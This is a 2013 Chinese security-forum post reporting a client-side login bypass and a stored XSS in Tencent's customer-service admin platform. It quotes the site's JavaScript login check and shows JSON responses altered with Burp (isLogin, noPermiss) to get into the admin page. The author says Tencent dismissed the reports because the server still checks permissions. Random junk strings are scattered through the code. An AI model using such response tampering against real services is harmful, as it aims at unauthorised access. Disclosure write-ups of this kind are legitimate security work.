中国网络渗透测试联盟

标题: 关于腾讯客服开放平台的2个漏洞+附属漏洞1个 [打印本页]

作者: admin    时间: 2013-1-11 21:04
标题: 关于腾讯客服开放平台的2个漏洞+附属漏洞1个
漏洞名称:腾讯客服开放平台 后台绕过

一、详细说明:( E! v( Q" T9 x* p
登录部分通过noPermiss(js)

http://347.kf.ieodopen.qq.com/admin/js/index.js?v=20121007

因为*.kf.ieodopen.qq.com域名开通的数字代表应用编号 所以我认为这属于框架性漏洞例如1.kf.ieodopen.qq.com也存在此漏洞

JavaScript# @" y1 e9 z, Q+ j, R

( @' r; u6 P' c( Z7 [6 H" x' @# C8 {
1
9 [  T, S% I2 U9 [0 [1 M4 G
2
+ h' f& a- y9 _
3

+ g. {' O$ S9 e6 ~
4

0 U* r  E- M+ b
5

# X1 v' q; Q  t% a% _8 C, I" @: q" |
6

0 Y& L: q' v- c9 \( J4 ^9 I
7

, q* D8 Z  \* t% Z, H; Z
8
/ c5 w5 z- Y5 E
9

$ Z/ Z  J0 E" h. Q2 }
10
6 {7 `( h! P3 b0 y% Q  ~/ N1 ?. W
11
2 u1 L8 z0 q! X
12
& d0 C. X* ~2 k! `3 q3 x: \
13

' I- \; V, ~; o* s+ z3 [
14

( g$ `3 S$ d8 {+ i7 |
15
$ b& c3 N. o$ O
16
8 Y8 F/ g- i! S
17

9 _6 v, @2 }# {. H* x& z
18

% T* Z' q; t7 x
19

+ a& C+ f* ?1 k. L3 [  y
20

% E& H* p- {/ E# ^$ V/ k$ V/ z
21

$ z! t9 c" ], \, S2 V
22
( ~8 ~! x. B  _* C  O" H
23
1 j6 I6 H3 B) n' U' H' F/ B
24

! j0 x. c) b: H1 i. c( Q+ j8 ?2 X
25
6 O8 b. }' c" ~! I/ U# D% r
26
' r/ c) q* U4 `. {6 \
2 D) _4 e* A7 ?4 k) X
kfadmin.checkLogin = function() {) [4 \- S: w2 u/ ]3 w3 V4 I! J
    if (top.kfadmin.isLogin == true) return;
* n: }6 O7 K. K1 r/ c    top.kfadmin.isLogin = "on";
2 e% A: I1 Y, {4 p    var loginCallback = new Callback("login");
, j* r' B! z9 k* n+ R+ L+ ]" L5 Q    loginCallback.deal = function() {& E. d9 Z* n+ ^( b: V8 ]
        $("#pdtName", top.kfadmin.headerFrameDoc).html(this.result.obj.sOfferName);
6 Q/ ~. v! t6 v$ B0 H        $("#pdtName", top.kfadmin.headerFrameDoc)[0].title = this.result.obj.sOfferName;; J. D) m. b5 }- L4 T3 T" b
        if (~~this.result.obj.isLogin == 1) {
! v/ z' l8 B7 w' G6 g* V            top.document.getElementById("total_frame").rows = "80,*";  x" I' x7 J0 L7 M) }
            top.kfadmin.isLogin = true;- Z$ x  P+ T5 ]- d
            top.kfadmin.sUin = this.result.obj.sUin;
5 T' J) o9 r/ E3 Q5 s            $("#spnLogout", kfadmin.headerFrameDoc).html("您好!" + this.result.obj.sNickName + "(" + this.result.obj.sUin + ")");
+ k( I3 x$ O; P' R/ `! q            $("#pLogin", top.kfadmin.headerFrameDoc).hide();
+ N$ g2 m* j/ G$ m            $("#pLogout", kfadmin.headerFrameDoc).show();) h* P- O( Z& Y, l0 S" i
         <strong>   if (~~this.result.obj.noPermiss == 1) {</strong>
0 A( `9 u# a; J                alert("对不起,您没有操作后台的权限!");
  \) e7 b: x% q3 i& S6 ^                top.window.location.href = "/";
  ]$ p5 n; E: Z' M' a                top.kfadmin.noPermiss = true;; ?7 i! J, i0 b; ^& G
                return false;
3 @: B7 X% j& p- h" \" s* h3 I' N            }
: D& F5 M) R2 q5 q6 u7 P        } else {
. f0 M2 {- k5 O. Q  k            top.kfadmin.isLogin = false;
+ J2 \; |2 v/ A$ X- t            $("#pLogout", kfadmin.headerFrameDoc).hide();
6 {+ G! ?9 R% Y" ~4 I2 _            $("#pLogin", top.kfadmin.headerFrameDoc).show();% o3 }8 |! C9 y" J/ e. c8 v$ ~
        }
" a5 P  R" g# f! Z& r( r  B    }
2 ]6 R: s6 B7 |

使用Burp修改noPermiss =0 可以绕过js判断登录

二、漏洞证明:

http://www.myhack58.com/Article/UploadPic/2013-1/20131912285848.png

三、修复方案:! u9 H" g8 ~! Q6 m2 N
使用服务器对登录进行判断

ps:虽然上面的漏洞可以绕进后台但后面做操作的时候服务器还是会进行判断 所以腾讯安全应急响应中心给予忽略操作 请以后不要提交这样的漏洞省的麻烦人家验证(当然这只是对我说的)

漏洞名称:腾讯客服开放平台 xss

一、详细说明:  I1 t& s: _$ g- z4 [' U
由于结合上个漏洞可绕过登录进行操作% R! i- k" {7 H" N( C
由于绕过的权限还会在服务器再次判断所有没有发布权限( M' W( f% o# N7 W
但确实存在储存性XSS 如果拿到正确的帐号密码可发布存在储存性XSS的公告5 O/ E( n7 c# e8 M0 K
请评分者适当加高分值谢谢

二、漏洞证明:

http://www.myhack58.com/Article/UploadPic/2013-1/20131912287219.png

三、修复方案:
! {2 ]; C$ f. ^4 f) Q过滤输入输出

ps:此漏洞因没有权限发布出去所以腾讯应急响应中心给予忽略 表示只能自己弹自己?请大家以后不要提交这样的漏洞省的麻烦人家验证(当然这只是对我说的)

附属漏洞一枚:

对于第一个漏洞我第二天测试的时候好像进行了修复操作参数noPermiss从返回的json里消失了

但是他的js还有一个判断就是isLogin参数

JavaScript
; m) K" \( z0 C# [. @9 z4 p+ a4 P) h! b; [6 {/ K# c# f) |

) e, X$ H8 D9 F; a% b! c; [
1

8 _/ u; x; D& r+ R& r9 `9 i
2

% b" Z# _: f# o  ~; m' Z4 @
3

+ O/ `' O+ o: z( x! q
4

) S5 F! A" @  U7 p5 v
5

& i' o, L, X$ V  k; z; o) ?
6

2 F  f  L' y, c9 @: i
7

3 f; c0 V5 q3 k
8

; q5 j/ \  K* s+ @/ s
9

6 t3 N+ u' @. G- U/ d+ T
10

1 H2 k. H! a3 _, k: N
11
# R* x; O! \/ t) i9 ^, K
12

& z0 P6 o* P$ m: K
13

! U, y* l- W. s  D
14

: @  Z1 e8 C6 w  m) f; j* p
15

( ]: h; W! p" l9 |! X0 g
16

- ]2 \$ S( ^$ l5 u* a
17
. ?+ l4 L6 X3 u" f' `. g
18
; S  p& D! f5 v+ D* ?  U6 `
19

2 d# ]$ C- |7 ~7 I% J8 R9 _( r
20
4 |8 K7 Y6 ~9 q; V: u; e3 |
21

9 _4 j" m. M  t1 r& x# F3 e
22

  {1 c9 W- T" g: c- g: h7 {9 n' P
23

* G2 z2 T; e# Q. P9 N+ G7 K+ g# W# j+ K3 _
24
$ r  X% a4 E7 L2 Y& |
25

5 D+ O5 e6 Q8 N$ [5 ]% M% b
26
" w0 ?3 S6 K1 Z; H0 A, B. C, t

0 h) ]# e  t0 j
kfadmin.checkLogin = function() {
0 x, y3 J0 I. A8 [& s3 K- j    if (top.kfadmin.isLogin == true) return;
9 ^  W3 t1 W# T    top.kfadmin.isLogin = "on";
9 d0 R+ Q$ j) E  W    var loginCallback = new Callback("login");
" Y+ c" Z, I0 i* j  q    loginCallback.deal = function() {2 C% x4 i5 l. Z7 _
        $("#pdtName", top.kfadmin.headerFrameDoc).html(this.result.obj.sOfferName);
( a( j7 n8 u5 ^2 G  z- y        $("#pdtName", top.kfadmin.headerFrameDoc)[0].title = this.result.obj.sOfferName;, p, W* l' w1 ^  C
      <strong>  if (~~this.result.obj.isLogin == 1) {</strong># `$ d. F, ]# ?
            top.document.getElementById("total_frame").rows = "80,*";
' q  |( Z5 o. A' s8 B/ g3 n! i6 f            top.kfadmin.isLogin = true;
1 M5 J& Y* q3 R1 Z" J            top.kfadmin.sUin = this.result.obj.sUin;  N: T# B& N4 t: j) {+ f9 W- @# E
            $("#spnLogout", kfadmin.headerFrameDoc).html("您好!" + this.result.obj.sNickName + "(" + this.result.obj.sUin + ")");
! `; c  ]. v7 V+ s* w* j            $("#pLogin", top.kfadmin.headerFrameDoc).hide();
& Y4 Y; H  n* u% `( f. B8 t            $("#pLogout", kfadmin.headerFrameDoc).show();
3 `- V& Q* g5 ~" N% y" g            if (~~this.result.obj.noPermiss == 1) {
/ A) `: @9 ^' H; i+ O                alert("对不起,您没有操作后台的权限!");
/ |& _7 A' A  e  c                top.window.location.href = "/";
& @; ^3 U( P6 I: [' P                top.kfadmin.noPermiss = true;
9 P4 v7 C! h1 _9 v2 ]/ N                return false;
( r6 E! Q+ f& S. h! @            }7 h5 V8 h, p; M; e
        } else {& f5 B. e- |* l
            top.kfadmin.isLogin = false;
/ B. D1 M) e2 A9 S! Z            $("#pLogout", kfadmin.headerFrameDoc).hide();
! e, o9 c  @/ @& L1 v+ y            $("#pLogin", top.kfadmin.headerFrameDoc).show();/ ?; y# [* {. W/ |  Z: `
        }) @% ?1 D) n% r8 q
    }' ~+ L; W0 t4 i1 D1 n: g

正常的返回json是

{“resultcode”:0,”resultinfo”:{“errmsg”:”\u4f60\u8fd8\u6ca1\u6709\u767b\u5f55\uff0c\u8bf7\u5148\u767b\u5f55″,”list”:[],”obj”:{“isLogin”:0,”sUin”:”0″,”sNickName”:”",”sLogo”:”",”sOfferName”:”\u672a

\u77e5\u5e94\u7528″,”isOfferExist”:”1″}}}

我修改为

{“resultcode”:0,”resultinfo”:{“errmsg”:”",”list”:[],”obj”:{“isLogin”:1,”sUin”:”365297318″,”sNickName”:”MythHack”,”sLogo”:”",”sOfferName”:”",”isOfferExist”:”1″}}}

结果:

http://www.myhack58.com/Article/UploadPic/2013-1/20131912287933.png

ps:这个是在腾讯应急响应中心人员在测试第一个漏洞的时候没成功联系我 然后我发现那个参数没有了但是有islogin 因为昨天我看了那个js所以我记得这个也是里面的一个判断条件所以再次绕过


4 i/ ^7 R" h7 h+ g5 H) [3 W' n/ L0 t6 l7 @5 F
$ I7 u4 {/ p, s7 X  K8 D

- M1 x! T9 h7 A8 X- q
. `3 i: H4 x9 L$ w7 p4 k+ l+ U- M* c$ R" V+ O  B

0 t' R! i& C; S6 ?! T
$ R: m0 R, ?1 Y- D




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2